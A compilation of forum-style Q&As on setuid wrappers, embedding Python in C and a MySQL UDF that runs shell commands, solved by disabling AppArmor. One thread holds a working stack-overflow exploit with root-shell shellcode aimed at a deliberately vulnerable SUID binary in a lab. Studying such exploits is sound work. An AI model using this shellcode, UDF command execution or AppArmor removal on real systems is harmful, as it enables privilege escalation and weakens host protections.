I have a Python script that I wish to be able to be run as the system user guybrush with UID 200 and group guybrush with GID 200.
At the moment my Python script (located in /path/to/script.py) looks like this:
#!/usr/bin/env python2
import os
print "uid: %s" % os.getuid()
print "euid: %s" % os.getgid()
print "gid: %s" % os.geteuid()
print "egid: %s" % os.getegid()
My attempted C wrapper (scriptwrap.c) looks like this:
#include <unistd.h>
#include <sys/types.h>
int main(int argc, char *argv[]) {
setuid(geteuid());
setgid(getegid());
return execv("/path/to/script.py", argv);
}
I then compile, chown, and chmod the wrapper as follows:
$ gcc scriptwrap.c -o scriptwrap
$ chown guybrush:guybrush scriptwrap
$ chmod 6755 scriptwrap
Yet when I run scriptwrap, I get the following output:
uid: 1000
euid: 1000
gid: 200
egid: 200
So for some reason only the GID is being set (my normal UID is 1000). What can I do to fix this?
Edit: If I chown the script to root:root and run it, the UID, eUID, GID, and eGID are all set to 0.
Also, this is on Ubuntu 12.04.4 LTS.
Well I figured this out (and learnt a bit in the process). Embarrassingly my initial problem was caused by a typo in my Python script: I was printing out the GID under the label euid, and the eUID under the label gid. Oops.
So the eUID and eGID are actually set correctly - great. But the UID and GID still aren't set despite my use of setuid and setgid in the C wrapper.
It turns out that this is due to the behaviour of setuid and setgid differing based on whether you are root or not: If you are root and you call setuid, it sets your real UID and your effective UID to whatever you pass it in, if you are not root it just sets the effective UID (source). So my use of setuid (and setgid) are essentially no-ops.
However it is possible to set the real UID and GID by using the setreuid and setregid calls:
#include <unistd.h>
#include <sys/types.h>
int main(int argc, char *argv[]) {
setreuid(geteuid(), geteuid());
setregid(getegid(), getegid());
return execv("/path/to/script.py", argv);
}
Which results in the following output from the (corrected) Python script when run:
uid: 200
euid: 200
gid: 200
egid: 200
Related
I am running a User Defined Function plugin for MySQL. The program works fine except for when you do a system call. I need to do a system call in order to call a Python3 script!
All of the system calls that I do, with system() or execl(), all return -1 and fail.
Does anybody know how to make my C library MySQL UDF plugin able to execute shell commands? We are completely stuck with this, thanks!
Here is the C code that I a having issues with:
# Written in C Language
#include <string.h>
#include <stdio.h>
#include <mysql.h>
bool udf_callpython_init(UDF_INIT *initid, UDF_ARGS *args, char *message) {
// None of these work...
int systemResult = system("echo hello");
//int systemResult = execl("/bin/bash", "bash", "-c", "echo hello again...", (char *) NULL);
//int systemResult = execl("/bin/ls", "ls", "-l", (char*)0);
//int systemResult = system("python3 python_script.py")
char str[100];
sprintf(str, "%d", systemResult);
strcpy(message, str);
return 1;
}
char* udf_callpython(UDF_INIT *initid, UDF_ARGS *args,
char *result, unsigned long *length,
char *is_null, char *error) {
system("echo test > does_not_work.txt");
strcpy(result, "Hello, World!");
*length = strlen(result);
return result;
}
This is how I compiled this code:
gcc -o udf_callpython.so udf_callpython.c -I/usr/include/mysql/ -L/usr/include/mysql/ -shared -fPIC
I then copy that .so library file to mysql's plugin directory:
sudo cp udf_callpython.so /usr/lib/mysql/plugin/
I then create the function in MySQL like this:
CREATE FUNCTION udf_callpython RETURNS STRING SONAME "udf_callpython.so";
I then have this procedure to call this UDF:
DELIMITER $$
$$
USE test_db
$$
CREATE PROCEDURE example_insert_proc()
BEGIN
DECLARE result VARCHAR(255);
SET result = udf_callpython();
END;$$
DELIMITER ;
Then, on the output, you will see -1:
mysql> CALL example_insert_proc();
ERROR 1123 (HY000): Can't initialize function 'udf_callpython'; -1
(EDIT:)
I found that the errno is 13, which is Permission denied.
I figured out this issue! I am answering this is case anybody else has the same problem...
I disabled AppArmor (Ubuntu 20.04):
sudo systemctl disable apparmor
sudo reboot now
If you then rerun the stored procedure, the system() call succeeds:
mysql> CALL example_insert_proc();
ERROR 1123 (HY000): Can't initialize function 'udf_callpython'; 0
mysql>
I got the same uid and euid even though the file belongs to root and has the suid bit set. Does anybody know how to make a test case to let getuid() and geteuid() return different results? Thanks.
$ cat main.py
#!/usr/bin/env python3
import os
print(os.getuid())
print(os.geteuid())
$ dir
total 4.0K
-rwsr-xr-x 1 root staff 154 2021/02/02-10:48:27 main.py
$ ./main.py
504
504
$ id
EDIT: I tried a C program. uid and euid are still the same.
$ cat main.c
// vim: set noexpandtab tabstop=2:
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
int main() {
uid_t uid = getuid();
uid_t euid = getuid();
printf("%d\n", uid);
printf("%d\n", euid);
}
$ ls -l ./main.exe
-rwsr-xr-x 1 root dialout 16656 Feb 2 12:14 ./main.exe
$ ./main.exe
504
504
Typo!
uid_t euid = getuid();
should read
uid_t euid = geteuid();
Then the C program will work. Don't make setuid #! scripts. That's not implemented for security reasons.
The suidperl story contains within it the description of why setuid won't work on #! scripts.
I am attempting to create a buffer-overflow on a simple x64 C binary without any protections (i.e. ASLR, canary, PIE, NX, Parial RelRO, Fortify). I am using an (updated) x64 Kali Linux 2020.4 distro (in vmware using the vmware image from the official offensive security website). I am compiling the program as root and I am enabling the SUID bit to access the program with root privilidges from an unpriviledged account. The code of the vulnerable program (example.c) is the following:
#include<stdio.h>
#include<string.h>
void vuln_func();
int main(int argc, char *argv[])
{
printf("Hi there!\n");
vuln_func();
}
void vuln_func()
{
char buffer[256];
gets(buffer);
}
and to compile the program I am using the following Makefile:
all:
gcc -no-pie -fno-stack-protector example.c -o example -D_FORTIFY_SOURCE=0
clean:
rm example
Using python3's pwntools to create an exploit works just fine and I get a root shell.
from pwn import *
nopsled = b"\x90"*100
shellcode = b"\x31\xdb\x89\xd8\xb0\x17\xcd\x80\x48\x31\xc0\x48\x89\xc2\x48\x89\xd6\x50\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x48\x83\xc0\x3b\x0f\x05"
padding = b"A"*(256-len(shellcode)-len(nopsled))
padding += b"B"*8
padding += p64(0x7fffffffdec4)
payload = nopsled + shellcode + padding
p = process("./example")
p.recv()
p.sendline(payload)
p.interactive()
but when I am using the exact same payload on python2 without using pwntools it doesn't.
import struct
nopsled = "\x90"*100
shellcode = "\x31\xdb\x89\xd8\xb0\x17\xcd\x80\x48\x31\xc0\x48\x89\xc2\x48\x89\xd6\x50\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x48\x83\xc0\x3b\x0f\x05"
padding = "A"*(256-len(shellcode)-len(nopsled))
padding += "B"*8
padding += struct.pack("Q", 0x7fffffffdec4)
payload = nopsled + shellcode + padding
print payload
and then running it using:
$(python exploit.py; cat) | ./example
The cat command "catches" the stdin but when I provide commands nothing happens.
┌──(kali㉿kali)-[~/Desktop/boe/example]
└─$ $(python exploit.py ; cat) | ./example
Hi there!
whoami
id
^C
┌──(kali㉿kali)-[~/Desktop/boe/example]
└─$
What is really weird is that when adding an "\xCC" byte before the shellcode,
shellcode = "\xcc\x31\xdb\x89\xd8\xb0\x17\xcd\x80\x48\x31\xc0\x48\x89\xc2\x48\x89\xd6\x50\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x48\x83\xc0\x3b\x0f\x05"
I get a sigtrap message like that:
┌──(kali㉿kali)-[~/Desktop/boe/example]
└─$ python exploit.py | ./example
Hi there!
zsh: done python exploit.py |
zsh: trace trap ./example
Any ideas why that happens?
I want to call a Python script from C, passing some arguments that are needed in the script.
The script I want to use is mrsync, or multicast remote sync. I got this working from command line, by calling:
python mrsync.py -m /tmp/targets.list -s /tmp/sourcedata -t /tmp/targetdata
-m is the list containing the target ip-addresses.
-s is the directory that contains the files to be synced.
-t is the directory on the target machines where the files will be put.
So far I managed to run a Python script without parameters, by using the following C program:
Py_Initialize();
FILE* file = fopen("/tmp/myfile.py", "r");
PyRun_SimpleFile(file, "/tmp/myfile.py");
Py_Finalize();
This works fine. However, I can't find how I can pass these argument to the PyRun_SimpleFile(..) method.
Seems like you're looking for an answer using the python development APIs from Python.h. Here's an example for you that should work:
#My python script called mypy.py
import sys
if len(sys.argv) != 2:
sys.exit("Not enough args")
ca_one = str(sys.argv[1])
ca_two = str(sys.argv[2])
print "My command line args are " + ca_one + " and " + ca_two
And then the C code to pass these args:
//My code file
#include <stdio.h>
#include <python2.7/Python.h>
void main()
{
FILE* file;
int argc;
char * argv[3];
argc = 3;
argv[0] = "mypy.py";
argv[1] = "-m";
argv[2] = "/tmp/targets.list";
Py_SetProgramName(argv[0]);
Py_Initialize();
PySys_SetArgv(argc, argv);
file = fopen("mypy.py","r");
PyRun_SimpleFile(file, "mypy.py");
Py_Finalize();
return;
}
If you can pass the arguments into your C function this task becomes even easier:
void main(int argc, char *argv[])
{
FILE* file;
Py_SetProgramName(argv[0]);
Py_Initialize();
PySys_SetArgv(argc, argv);
file = fopen("mypy.py","r");
PyRun_SimpleFile(file, "mypy.py");
Py_Finalize();
return;
}
You can just pass those straight through. Now my solutions only used 2 command line args for the sake of time, but you can use the same concept for all 6 that you need to pass... and of course there's cleaner ways to capture the args on the python side too, but that's just the basic idea.
Hope it helps!
You have two options.
Call
system("python mrsync.py -m /tmp/targets.list -s /tmp/sourcedata -t /tmp/targetdata")
in your C code.
Actually use the API that mrsync (hopefully) defines. This is more flexible, but much more complicated. The first step would be to work out how you would perform the above operation as a Python function call. If mrsync has been written nicely, there will be a function mrsync.sync (say) that you call as
mrsync.sync("/tmp/targets.list", "/tmp/sourcedata", "/tmp/targetdata")
Once you've worked out how to do that, you can call the function directly from the C code using the Python API.
I'm having trouble while running embedded python. It turns out that I can't capture that SystemExit exception raised by sys.exit();
This is what I have so far:
$ cat call.c
#include <Python.h>
int main(int argc, char *argv[])
{
Py_InitializeEx(0);
PySys_SetArgv(argc-1, argv+1);
if (PyRun_AnyFileEx(fopen(argv[1], "r"), argv[1], 1) != 0) {
PyObject *exc = PyErr_Occurred();
printf("terminated by %s\n",
PyErr_GivenExceptionMatches(exc, PyExc_SystemExit) ?
"exit()" : "exception");
}
Py_Finalize();
return 0;
}
Also, my script is:
$ cat unittest-files/python-return-code.py
from sys import exit
exit(99)
Running it:
$ ./call unittest-files/python-return-code.py
$ echo $?
99
I must execute a file, not a command.
PyRun_SimpleFileExFlags function (and all functions using it, including PyRun_AnyFileEx) handles exceptions itself by exiting for SystemExit or printing traceback. Use PyRun_File* family of functions to handle exceptions in surrounding code.